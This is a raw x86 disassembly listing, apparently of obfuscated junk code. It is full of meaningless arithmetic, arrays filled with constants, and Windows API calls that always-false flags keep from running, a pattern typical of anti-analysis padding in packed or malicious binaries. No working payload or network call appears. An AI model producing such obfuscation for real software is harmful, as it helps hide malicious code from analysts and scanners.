mov dword [ebp + eax*4 - 0x32bc], 0
jmp 0x451ba5
mov dword [ebp - 0x220], 0
jmp 0x451be7
mov eax, dword [ebp - 0x220]
inc eax
mov dword [ebp - 0x220], eax
cmp dword [ebp - 0x220], 4
jge 0x451c03
mov eax, dword [ebp - 0x220]
mov dword [ebp + eax*4 - 0x2ef0], 0
jmp 0x451bda
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x2ef0], 0
jmp 0x451c31
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2ef0]
inc eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x2ef0], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x2ef0], 0
jg 0x451cfb
mov dword [ebp - 0x664], 0
jmp 0x451c5e
mov eax, dword [ebp - 0x664]
inc eax
mov dword [ebp - 0x664], eax
cmp dword [ebp - 0x664], 1
jge 0x451c7a
mov eax, dword [ebp - 0x664]
mov dword [ebp + eax*4 - 0x8f8], 0xc8fc558b
jmp 0x451c51
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x8f8], 0
jmp 0x451ca8
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x8f8]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x8f8], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x8f8], 0
jg 0x451cf6
mov byte [ebp - 0x433], 0
movzx eax, byte [ebp - 0x433]
test eax, eax
je 0x451cda
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetThreadTimes]
mov byte [ebp - 0x3d9], 0
movzx eax, byte [ebp - 0x3d9]
test eax, eax
je 0x451cf4
push 0
call dword [sym.imp.USER32.dll_DestroyCursor]
jmp 0x451c8d
jmp 0x451c16
mov byte [ebp - 0x435], 0
movzx eax, byte [ebp - 0x435]
test eax, eax
je 0x451d21
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetParent]
mov dword [ebp - 0x508], 0x3eee2fde
mov dword [ebp - 0x4bc], 0xaafe30f5
mov dword [ebp - 0x610], 0x466e9f08
mov dword [ebp - 0xc80], 1
mov dword [ebp - 0xdec], 0x7f4e
mov dword [ebp - 0xc88], 0xa9f4f9a0
mov dword [ebp - 0xc78], 0xd800f4d4
mov dword [ebp - 0x66c], 0xfffffffb
mov dword [ebp - 0x2990], 0x8e7dfbf7
mov dword [ebp - 0x29a0], 0xffffffff
mov dword [ebp - 0xdf4], 0
mov dword [ebp - 0x170], 0
jmp 0x451da8
mov eax, dword [ebp - 0x170]
inc eax
mov dword [ebp - 0x170], eax
cmp dword [ebp - 0x170], 2
jge 0x451dc4
mov eax, dword [ebp - 0x170]
mov dword [ebp + eax*4 - 0x235c], 0x3e623b47
jmp 0x451d9b
mov dword [ebp - 0x170], 0
jmp 0x451ddd
mov eax, dword [ebp - 0x170]
inc eax
mov dword [ebp - 0x170], eax
cmp dword [ebp - 0x170], 4
jge 0x451df9
mov eax, dword [ebp - 0x170]
mov dword [ebp + eax*4 - 0x3994], 0x2102
jmp 0x451dd0
mov eax, 0x3d37a5b7
test eax, eax
je 0x451ef8
mov eax, dword [ebp - 0xc78]
inc eax
mov dword [ebp - 0xc78], eax
push 8
pop eax
cmp eax, 0xc116e074
jbe 0x451e29
mov dword [ebp - 0x2988], 1
jmp 0x451e30
and dword [ebp - 0x2988], 0
mov eax, dword [ebp - 0x4bc]
mov dword [ebp - 0x32c4], eax
cmp dword [ebp - 0x4bc], 9
je 0x451e5a
mov eax, 0x59ba
test eax, eax
je 0x451e5a
mov dword [ebp - 0xddc], 1
jmp 0x451e61
and dword [ebp - 0xddc], 0
mov eax, dword [ebp - 0x4bc]
cmp eax, dword [ebp - 0xddc]
jg 0x451e84
cmp dword [ebp - 0xc80], 0
je 0x451e84
mov dword [ebp - 0x1f34], 1
jmp 0x451e8b
and dword [ebp - 0x1f34], 0
mov eax, dword [ebp - 0xc88]
cmp dword [ebp - 0x1f34], eax
jg 0x451ea5
mov dword [ebp - 0xc70], 1
jmp 0x451eac
and dword [ebp - 0xc70], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xc70]
mov dword [ebp + eax - 0x235c], ecx
mov eax, dword [ebp - 0xc70]
sub eax, 0x1af6658d
jne 0x451edc
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x235c], 0
je 0x451ef8
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x235c], 0
je 0x451ef8
mov dword [ebp - 0xde4], 1
jmp 0x451eff
and dword [ebp - 0xde4], 0
mov eax, dword [ebp - 0x4bc]
sub eax, dword [ebp - 0xde4]
jne 0x451f1b
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x235c], 0
mov eax, dword [ebp - 0x610]
mov dword [ebp - 0x610], eax
mov eax, dword [ebp - 0x610]
mov dword [ebp - 0x32cc], eax
mov eax, dword [ebp - 0x4bc]
mov dword [ebp - 0x32d4], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xc80]
cmp dword [ebp + eax - 0x235c], ecx
jne 0x451f5d
cmp dword [ebp - 0x66c], 0
jne 0x451f78
cmp dword [ebp - 0x610], 0
jne 0x451f78
cmp dword [ebp - 0xdec], 0
jne 0x451f78
and dword [ebp - 0x1f3c], 0
jmp 0x451f82
mov dword [ebp - 0x1f3c], 1
mov eax, dword [ebp - 0x1f3c]
mov dword [ebp - 0xc88], eax
mov eax, dword [ebp - 0xc78]
mov dword [ebp - 0x32dc], eax
mov eax, dword [ebp - 0x66c]
mov dword [ebp - 0x32e4], eax
mov eax, dword [ebp - 0xdec]
mov dword [ebp - 0x610], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x3994]
mov dword [ebp - 0x32ec], eax
cmp dword [ebp - 0x66c], 0
jne 0x451fe0
cmp dword [ebp - 0xc80], 0
jne 0x451fe0
and dword [ebp - 0x1f44], 0
jmp 0x451fea
mov dword [ebp - 0x1f44], 1
mov eax, dword [ebp - 0x66c]
mov eax, dword [ebp - 0x2990]
mov dword [ebp - 0x32f4], eax
push 4
pop eax
shl eax, 0
imul eax, dword [ebp + eax - 0x3994], 0xfffb
push 4
pop ecx
shl ecx, 0
cmp eax, dword [ebp + ecx - 0x3994]
jle 0x452028
mov dword [ebp - 0x2998], 1
jmp 0x45202f
and dword [ebp - 0x2998], 0
mov eax, dword [ebp - 0x29a0]
mov dword [ebp - 0x32fc], eax
mov eax, dword [ebp - 0x4bc]
mov dword [ebp - 0xdf4], eax
mov eax, dword [ebp - 0xdf4]
mov dword [ebp - 0xc88], eax
mov dword [ebp - 0x350], 1
mov dword [ebp - 0x3304], 0
mov dword [ebp - 0x1e8], 0
jmp 0x452080
mov eax, dword [ebp - 0x1e8]
inc eax
mov dword [ebp - 0x1e8], eax
cmp dword [ebp - 0x1e8], 1
jge 0x45209c
mov eax, dword [ebp - 0x1e8]
mov dword [ebp + eax*4 - 0x618], 0x6bdde0bc
jmp 0x452073
mov dword [ebp - 0x1e8], 0
jmp 0x4520b5
mov eax, dword [ebp - 0x1e8]
inc eax
mov dword [ebp - 0x1e8], eax
cmp dword [ebp - 0x1e8], 3
jge 0x4520d1
mov eax, dword [ebp - 0x1e8]
mov dword [ebp + eax*4 - 0xd04], 0xbe8e56f9
jmp 0x4520a8
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0xd04], 0
jmp 0x4520ff
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xd04]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0xd04], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xd04], 0
jl 0x45248f
mov dword [ebp - 0x134], 0xffffffff
mov dword [ebp - 0x900], 0
jmp 0x452136
mov eax, dword [ebp - 0x900]
inc eax
mov dword [ebp - 0x900], eax
cmp dword [ebp - 0x900], 3
jge 0x452152
mov eax, dword [ebp - 0x900]
mov dword [ebp + eax*4 - 0x3ac8], 0x6e88f3c2
jmp 0x452129
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x618], 1
jge 0x45216e
mov dword [ebp - 0x1f4c], 1
jmp 0x452175
and dword [ebp - 0x1f4c], 0
cmp dword [ebp - 0x1f4c], 0xffffffff
jb 0x45218a
mov dword [ebp - 0xdfc], 1
jmp 0x452191
and dword [ebp - 0xdfc], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x618]
cmp dword [ebp - 0xdfc], eax
jl 0x4521b2
mov dword [ebp - 0x1f54], 1
jmp 0x4521b9
and dword [ebp - 0x1f54], 0
cmp dword [ebp - 0x1f54], 0
jg 0x4521d4
cmp dword [ebp - 0x134], 0
jne 0x4521d4
and dword [ebp - 0x29a8], 0
jmp 0x4521de
mov dword [ebp - 0x29a8], 1
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xd04], 0xc70e74bb
jae 0x4521fd
mov dword [ebp - 0xe04], 1
jmp 0x452204
and dword [ebp - 0xe04], 0
cmp dword [ebp - 0xe04], 0x866b3883
je 0x45221c
mov dword [ebp - 0x1f5c], 1
jmp 0x452223
and dword [ebp - 0x1f5c], 0
cmp dword [ebp - 0x1f5c], 0x13c444c9
jle 0x45223b
mov dword [ebp - 0xe0c], 1
jmp 0x452242
and dword [ebp - 0xe0c], 0
mov eax, dword [ebp - 0x134]
imul eax, dword [ebp - 0xe0c]
push 4
pop ecx
imul ecx, ecx, 0
imul eax, dword [ebp + ecx - 0xd04]
test eax, eax
jne 0x452273
cmp dword [ebp - 0x134], 0
jne 0x452273
and dword [ebp - 0x1f64], 0
jmp 0x45227d
mov dword [ebp - 0x1f64], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xd04]
cmp dword [ebp - 0x1f64], eax
jge 0x45229e
mov dword [ebp - 0xe14], 1
jmp 0x4522a5
and dword [ebp - 0xe14], 0
cmp dword [ebp - 0xe14], 0xb611
je 0x4522bd
mov dword [ebp - 0x29b0], 1
jmp 0x4522c4
and dword [ebp - 0x29b0], 0
mov eax, dword [ebp - 0x134]
mov dword [ebp - 0x330c], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xd04]
mov dword [ebp - 0x3314], eax
mov eax, dword [ebp - 0x134]
mov dword [ebp - 0x331c], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x618]
mov dword [ebp - 0x3324], eax
xor eax, eax
imul eax, eax, 0
test eax, eax
je 0x45231a
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x618], 0
jne 0x45232c
mov eax, 0x60c6
test eax, eax
jne 0x45232c
and dword [ebp - 0x1f6c], 0
jmp 0x452336
mov dword [ebp - 0x1f6c], 1
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xd04]
imul eax, dword [ebp - 0x1f6c]
cmp eax, dword [ebp - 0x134]
jge 0x45235e
mov dword [ebp - 0xe1c], 1
jmp 0x452365
and dword [ebp - 0xe1c], 0
mov eax, dword [ebp - 0xe1c]
inc eax
cmp eax, 0x698
je 0x45237f
mov dword [ebp - 0x1f74], 1
jmp 0x452386
and dword [ebp - 0x1f74], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1f74]
sub ecx, dword [ebp - 0x134]
cmp dword [ebp + eax - 0xd04], ecx
jle 0x4523ad
mov dword [ebp - 0xe24], 1
jmp 0x4523b4
and dword [ebp - 0xe24], 0
cmp dword [ebp - 0xe24], 0x49f4ffcf
jl 0x4523cc
mov dword [ebp - 0x1f7c], 1
jmp 0x4523d3
and dword [ebp - 0x1f7c], 0
mov eax, dword [ebp - 0x350]
cmp dword [ebp - 0x1f7c], eax
je 0x4523ed
mov dword [ebp - 0xe2c], 1
jmp 0x4523f4
and dword [ebp - 0xe2c], 0
cmp dword [ebp - 0xe2c], 0xcf2842c5
ja 0x45240c
mov dword [ebp - 0x29b8], 1
jmp 0x452413
and dword [ebp - 0x29b8], 0
mov eax, dword [ebp - 0x134]
mov dword [ebp - 0x332c], eax
push 3
pop eax
shl eax, 3
test eax, eax
jne 0x452430
cmp dword [ebp - 0x350], 0
xor eax, eax
inc eax
je 0x45244a
mov eax, 0x892f88b3
test eax, eax
je 0x45244a
mov dword [ebp - 0x1f84], 1
jmp 0x452451
and dword [ebp - 0x1f84], 0
mov eax, dword [ebp - 0x1f84]
sub eax, dword [ebp - 0x134]
cmp eax, dword [ebp - 0x134]
jg 0x452471
mov dword [ebp - 0xe34], 1
jmp 0x452478
and dword [ebp - 0xe34], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0xe34]
mov dword [ebp + eax - 0x3ac8], ecx
jmp 0x4520e4
mov dword [ebp - 0x350], 0
jmp 0x4524a8
mov eax, dword [ebp - 0x350]
inc eax
mov dword [ebp - 0x350], eax
cmp dword [ebp - 0x350], 1
jge 0x4524c4
mov eax, dword [ebp - 0x350]
mov dword [ebp + eax*4 - 0x618], 0xffffffff
jmp 0x45249b
mov dword [ebp - 0x268], 0x5d6c05ba
mov dword [ebp - 0xc90], 0xfffffff7
mov dword [ebp - 0x3334], 0x9e6a
mov dword [ebp - 0x674], 0
jmp 0x4524fb
mov eax, dword [ebp - 0x674]
inc eax
mov dword [ebp - 0x674], eax
cmp dword [ebp - 0x674], 2
jge 0x452517
mov eax, dword [ebp - 0x674]
mov dword [ebp + eax*4 - 0x3374], 0
jmp 0x4524ee
mov dword [ebp - 0x268], 0xfffffffe
jmp 0x452530
mov eax, dword [ebp - 0x268]
inc eax
mov dword [ebp - 0x268], eax
cmp dword [ebp - 0x268], 0x11
je 0x452670
mov dword [ebp - 0xe44], 0xffffffff
mov dword [ebp - 0x45c], 0
mov eax, dword [ebp - 0x45c]
mov dword [ebp - 0x333c], eax
mov eax, dword [ebp - 0x45c]
cmp dword [ebp - 0x268], eax
jne 0x452577
mov dword [ebp - 0x1f8c], 1
jmp 0x45257e
and dword [ebp - 0x1f8c], 0
mov eax, dword [ebp - 0x268]
cmp eax, dword [ebp - 0x1f8c]
jg 0x452598
mov dword [ebp - 0xe3c], 1
jmp 0x45259f
and dword [ebp - 0xe3c], 0
mov eax, dword [ebp - 0x268]
cmp dword [ebp - 0xe3c], eax
jle 0x4525b9
mov dword [ebp - 0x29c0], 1
jmp 0x4525c0
and dword [ebp - 0x29c0], 0
mov eax, dword [ebp - 0x268]
mov dword [ebp - 0x3344], eax
cmp dword [ebp - 0x45c], 0
jne 0x4525e7
cmp dword [ebp - 0xc90], 0
jne 0x4525e7
and dword [ebp - 0x29c8], 0
jmp 0x4525f1
mov dword [ebp - 0x29c8], 1
mov eax, dword [ebp - 0xc90]
mov dword [ebp - 0x334c], eax
mov eax, dword [ebp - 0xc90]
mov dword [ebp - 0x3354], eax
xor eax, eax
cmp eax, 0xc821
ja 0x45261e
mov dword [ebp - 0x1f94], 1
jmp 0x452625
and dword [ebp - 0x1f94], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x1f94]
mov dword [ebp + eax - 0x3374], ecx
mov eax, dword [ebp - 0x45c]
mov dword [ebp - 0x335c], eax
mov eax, dword [ebp - 0x45c]
mov dword [ebp - 0x3528], eax
mov dword [ebp - 0xe44], 0x8c66
mov eax, dword [ebp - 0xe44]
add eax, 0xfff8
mov dword [ebp - 0x45c], eax
jmp 0x452523
mov dword [ebp - 0x908], 0
jmp 0x452689
mov eax, dword [ebp - 0x908]
inc eax
mov dword [ebp - 0x908], eax
cmp dword [ebp - 0x908], 2
jge 0x4526a5
mov eax, dword [ebp - 0x908]
mov dword [ebp + eax*4 - 0x3380], 0x1eb32a83
jmp 0x45267c
mov dword [ebp - 0x67c], 0
jmp 0x4526be
mov eax, dword [ebp - 0x67c]
inc eax
mov dword [ebp - 0x67c], eax
cmp dword [ebp - 0x67c], 1
jge 0x4526da
mov eax, dword [ebp - 0x67c]
mov dword [ebp + eax*4 - 0x3530], 0xc0ae9714
jmp 0x4526b1
mov byte [ebp - 0x3e1], 0
movzx eax, byte [ebp - 0x3e1]
test eax, eax
je 0x4526f9
push 0
push 0x1e60
call dword [sym.imp.KERNEL32.dll_IsDBCSLeadByteEx]
mov byte [ebp - 0x437], 0
movzx eax, byte [ebp - 0x437]
test eax, eax
je 0x45271c
push 0x8c2
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
mov dword [ebp - 0x508], 2
jmp 0x452735
mov eax, dword [ebp - 0x508]
dec eax
mov dword [ebp - 0x508], eax
cmp dword [ebp - 0x508], 0
jl 0x452929
mov dword [ebp - 0x1fac], 0xf825
mov dword [ebp - 0xfc], 0xffff
mov dword [ebp - 0x684], 0xc63c4078
mov dword [ebp - 0x910], 0
jmp 0x452779
mov eax, dword [ebp - 0x910]
inc eax
mov dword [ebp - 0x910], eax
cmp dword [ebp - 0x910], 2
jge 0x452795
mov eax, dword [ebp - 0x910]
mov dword [ebp + eax*4 - 0x2d74], 0xffffffff
jmp 0x45276c
mov eax, dword [ebp - 0xfc]
mov dword [ebp - 0x3538], eax
mov eax, dword [ebp - 0x1fac]
mov dword [ebp - 0x3540], eax
mov eax, dword [ebp - 0xfc]
dec eax
mov dword [ebp - 0xfc], eax
cmp dword [ebp - 0x684], 0
jne 0x4527d1
xor eax, eax
inc eax
jne 0x4527d1
and dword [ebp - 0x1f9c], 0
jmp 0x4527db
mov dword [ebp - 0x1f9c], 1
cmp dword [ebp - 0x1f9c], 0xffffffff
jae 0x4527f0
mov dword [ebp - 0xe4c], 1
jmp 0x4527f7
and dword [ebp - 0xe4c], 0
mov eax, dword [ebp - 0xe4c]
neg eax
cmp dword [ebp - 0x684], eax
jg 0x452825
mov eax, 0x4c924b54
test eax, eax
je 0x452825
cmp dword [ebp - 0xfc], 0
je 0x452825
mov dword [ebp - 0x1fa4], 1
jmp 0x45282c
and dword [ebp - 0x1fa4], 0
cmp dword [ebp - 0x1fa4], 1
je 0x452841
mov dword [ebp - 0xe54], 1
jmp 0x452848
and dword [ebp - 0xe54], 0
cmp dword [ebp - 0xe54], 8
je 0x45285d
mov dword [ebp - 0xe5c], 1
jmp 0x452864
and dword [ebp - 0xe5c], 0
mov eax, dword [ebp - 0x1fac]
cmp eax, dword [ebp - 0xe5c]
je 0x45287e
mov dword [ebp - 0x1fb4], 1
jmp 0x452885
and dword [ebp - 0x1fb4], 0
mov eax, dword [ebp - 0x684]
cmp dword [ebp - 0x1fb4], eax
jg 0x45289f
mov dword [ebp - 0xe64], 1
jmp 0x4528a6
and dword [ebp - 0xe64], 0
mov eax, dword [ebp - 0xe64]
mov dword [ebp - 0x684], eax
mov dword [ebp - 0xfc], 0
jmp 0x4528cb
mov eax, dword [ebp - 0xfc]
inc eax
mov dword [ebp - 0xfc], eax
cmp dword [ebp - 0xfc], 1
jg 0x4528f0
mov eax, dword [ebp - 0xfc]
mov ecx, dword [ebp - 0xfc]
mov eax, dword [ebp + eax*4 - 0x2d74]
mov dword [ebp + ecx*4 - 0x2d74], eax
jmp 0x4528be
mov eax, dword [ebp - 0x508]
cmp dword [ebp - 0x508], eax
jle 0x45290a
mov dword [ebp - 0x1fbc], 1
jmp 0x452911
and dword [ebp - 0x1fbc], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1fbc]
mov dword [ebp + eax - 0x3380], ecx
jmp 0x452728
jmp 0x451b6d
mov dword [ebp - 0x918], 0
jmp 0x452947
mov eax, dword [ebp - 0x918]
inc eax
mov dword [ebp - 0x918], eax
cmp dword [ebp - 0x918], 2
jge 0x452963
mov eax, dword [ebp - 0x918]
mov dword [ebp + eax*4 - 0x2558], 0xffffffff
jmp 0x45293a
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x2558], 0
jmp 0x452991
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2558]
inc eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x2558], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x2558], 1
jge 0x452a07
mov byte [ebp - 0x3e9], 0
movzx eax, byte [ebp - 0x3e9]
test eax, eax
je 0x452a02
push 0x576
push 0xf9a
push 0x1b93
push 0xd17
push 0x2f4
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
push 0x816
push 0x2513
push 0x20e2
push 0x1e88
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_StretchBlt]
jmp 0x452976
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2ba8]
neg eax
jne 0x452a86
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2ba8]
push 4
pop ecx
shl ecx, 0
imul ecx, dword [ebp + ecx - 0x2ba8], 0x8db8
sub eax, ecx
cmp eax, dword [ebp - 0x620]
jle 0x452a59
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2ba8], 0
jne 0x452a59
and dword [ebp - 0x29d0], 0
jmp 0x452a63
mov dword [ebp - 0x29d0], 1
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x247c]
mov dword [ebp - 0x3548], eax
push 0xfffffffffffffffd
pop eax
test eax, eax
jne 0x452a86
and dword [ebp - 0xe6c], 0
jmp 0x452a90
mov dword [ebp - 0xe6c], 1
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x247c]
sub eax, dword [ebp - 0xe6c]
cmp eax, 0x9cff29c2
jb 0x452abb
xor eax, eax
inc eax
je 0x452abb
mov dword [ebp - 0x1fc4], 1
jmp 0x452ac2
and dword [ebp - 0x1fc4], 0
mov eax, dword [ebp - 0x620]
cmp dword [ebp - 0x1fc4], eax
jl 0x452adc
mov dword [ebp - 0xe74], 1
jmp 0x452ae3
and dword [ebp - 0xe74], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x247c]
cmp dword [ebp - 0xe74], eax
jle 0x452b03
mov dword [ebp - 0xcc8], 1
jmp 0x452b0a
and dword [ebp - 0xcc8], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0xcc8]
mov dword [ebp + eax - 0x247c], ecx
mov eax, dword [ebp - 0xcc8]
sub eax, dword [ebp - 0x29d8]
cmp eax, 0x36a7
jg 0x452b3b
mov dword [ebp - 0x1fcc], 1
jmp 0x452b42
and dword [ebp - 0x1fcc], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2ba8]
cmp dword [ebp - 0x1fcc], eax
jne 0x452b63
mov dword [ebp - 0xe7c], 1
jmp 0x452b6a
and dword [ebp - 0xe7c], 0
cmp dword [ebp - 0xe7c], 1
jl 0x452b7f
mov dword [ebp - 0x1fd4], 1
jmp 0x452b86
and dword [ebp - 0x1fd4], 0
cmp dword [ebp - 0x1fd4], 0x9f3c
jg 0x452b9e
mov dword [ebp - 0xe84], 1
jmp 0x452ba5
and dword [ebp - 0xe84], 0
mov eax, dword [ebp - 0x620]
add eax, dword [ebp - 0xe84]
cmp eax, dword [ebp - 0x620]
jle 0x452bc5
mov dword [ebp - 0x1fdc], 1
jmp 0x452bcc
and dword [ebp - 0x1fdc], 0
mov eax, dword [ebp - 0x620]
add eax, dword [ebp - 0x1fdc]
cmp eax, 8
jae 0x452be9
mov dword [ebp - 0xcd0], 1
jmp 0x452bf0
and dword [ebp - 0xcd0], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xcd0]
mov dword [ebp + eax - 0x2f70], ecx
mov eax, dword [ebp - 0xcd0]
mov dword [ebp - 0x29e0], eax
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x694], 0xffffffff
mov dword [ebp - 0x628], 9
mov dword [ebp - 0x2a08], 0
mov dword [ebp - 0x68c], 0
jmp 0x452c4d
mov eax, dword [ebp - 0x68c]
inc eax
mov dword [ebp - 0x68c], eax
cmp dword [ebp - 0x68c], 2
jge 0x452c69
mov eax, dword [ebp - 0x68c]
mov dword [ebp + eax*4 - 0x2a54], 0xfffffff7
jmp 0x452c40
mov dword [ebp - 0x34], 0xffffffe2
jmp 0x452c79
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0xfffffff4
jle 0x452c89
cmp dword [ebp - 0x34], 0
je 0x452c87
jmp 0x452c89
jmp 0x452c72
mov dword [ebp - 0x34], 1
jmp 0x452c99
mov eax, dword [ebp - 0x34]
dec eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
jl 0x452e77
mov dword [ebp - 0x3550], 0x7be9fb1c
mov dword [ebp - 0x3558], 0
mov dword [ebp - 0x3560], 6
mov dword [ebp - 0x3568], 0xffffffff
mov dword [ebp - 0x29f0], 0xffffffff
mov dword [ebp - 0x920], 0
jmp 0x452cee
mov eax, dword [ebp - 0x920]
inc eax
mov dword [ebp - 0x920], eax
cmp dword [ebp - 0x920], 4
jge 0x452d0a
mov eax, dword [ebp - 0x920]
mov dword [ebp + eax*4 - 0x3d70], 0xfffffffb
jmp 0x452ce1
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp + eax*4 - 0x2a54]
mov dword [ebp - 0x3570], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp + eax*4 - 0x2a54]
mov dword [ebp - 0x3578], eax
mov eax, dword [ebp - 0x34]
add eax, dword [ebp - 0x34]
imul eax, dword [ebp - 0x34]
cmp eax, dword [ebp - 0x34]
jle 0x452d45
mov dword [ebp - 0xe8c], 1
jmp 0x452d4c
and dword [ebp - 0xe8c], 0
cmp dword [ebp - 0xe8c], 1
ja 0x452d61
mov dword [ebp - 0x29e8], 1
jmp 0x452d68
and dword [ebp - 0x29e8], 0
mov eax, dword [ebp - 0x29f0]
mov dword [ebp - 0x3580], eax
mov eax, dword [ebp - 0x694]
mov dword [ebp - 0x1fe4], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1fe4]
mov dword [ebp + eax - 0x2a54], ecx
mov eax, dword [ebp - 0x1fe4]
mov dword [ebp - 0x29f8], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x2a00], eax
mov eax, dword [ebp - 0x694]
dec eax
mov dword [ebp - 0x694], eax
mov eax, dword [ebp - 0x29f8]
cmp eax, dword [ebp - 0x2a00]
jl 0x452dcf
mov dword [ebp - 0xe94], 1
jmp 0x452dd6
and dword [ebp - 0xe94], 0
cmp dword [ebp - 0xe94], 8
jg 0x452df4
cmp dword [ebp - 0x694], 0
je 0x452df4
mov dword [ebp - 0x1fec], 1
jmp 0x452dfb
and dword [ebp - 0x1fec], 0
cmp dword [ebp - 0x1fec], 7
jae 0x452e10
mov dword [ebp - 0xe9c], 1
jmp 0x452e17
and dword [ebp - 0xe9c], 0
mov eax, dword [ebp - 0xe9c]
mov dword [ebp - 0x628], eax
mov dword [ebp - 0x628], 0x1c
jmp 0x452e3c
mov eax, dword [ebp - 0x628]
dec eax
mov dword [ebp - 0x628], eax
cmp dword [ebp - 0x628], 0xfffffff3
jne 0x452e72
mov byte [ebp - 0x439], 0
movzx eax, byte [ebp - 0x439]
test eax, eax
je 0x452e66
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ValidateRgn]
mov dword [ebp - 0x2a08], 0xd3d47825
jmp 0x452e2f
jmp 0x452c92
cmp dword [ebp + 8], 2
jl 0x463d98
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0xcd8], 0xfffffffc
mov dword [ebp - 0xce0], 0x6273d594
mov dword [ebp - 0xebc], 1
mov dword [ebp - 0x2a18], 0x11521faf
mov dword [ebp - 0x928], 0
jmp 0x452ec9
mov eax, dword [ebp - 0x928]
inc eax
mov dword [ebp - 0x928], eax
cmp dword [ebp - 0x928], 3
jge 0x452ee5
mov eax, dword [ebp - 0x928]
mov dword [ebp + eax*4 - 0x3b04], 0x7128abf8
jmp 0x452ebc
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0x3588], eax
mov eax, dword [ebp - 0x6c]
cmp dword [ebp - 0x6c], eax
jne 0x452f02
mov dword [ebp - 0xea4], 1
jmp 0x452f09
and dword [ebp - 0xea4], 0
mov eax, dword [ebp - 0x6c]
cmp dword [ebp - 0x6c], eax
je 0x452f1d
mov dword [ebp - 0x1ff4], 1
jmp 0x452f24
and dword [ebp - 0x1ff4], 0
mov eax, dword [ebp - 0x6c]
cmp eax, dword [ebp - 0x1ff4]
jne 0x452f3b
mov dword [ebp - 0x1ffc], 1
jmp 0x452f42
and dword [ebp - 0x1ffc], 0
mov eax, dword [ebp - 0xea4]
cmp eax, dword [ebp - 0x1ffc]
jge 0x452f5c
mov dword [ebp - 0xeac], 1
jmp 0x452f63
and dword [ebp - 0xeac], 0
mov eax, dword [ebp - 0xeac]
mov dword [ebp - 0xcd8], eax
cmp dword [ebp - 0x6c], 0x299e885d
jle 0x452f84
mov dword [ebp - 0x2004], 1
jmp 0x452f8b
and dword [ebp - 0x2004], 0
mov eax, dword [ebp - 0x2004]
sub eax, dword [ebp - 0x6c]
cmp eax, dword [ebp - 0x6c]
je 0x452fa5
mov dword [ebp - 0xeb4], 1
jmp 0x452fac
and dword [ebp - 0xeb4], 0
mov eax, dword [ebp - 0x6c]
add eax, dword [ebp - 0x6c]
mov dword [ebp - 0xcd8], eax
mov eax, dword [ebp - 0xeb4]
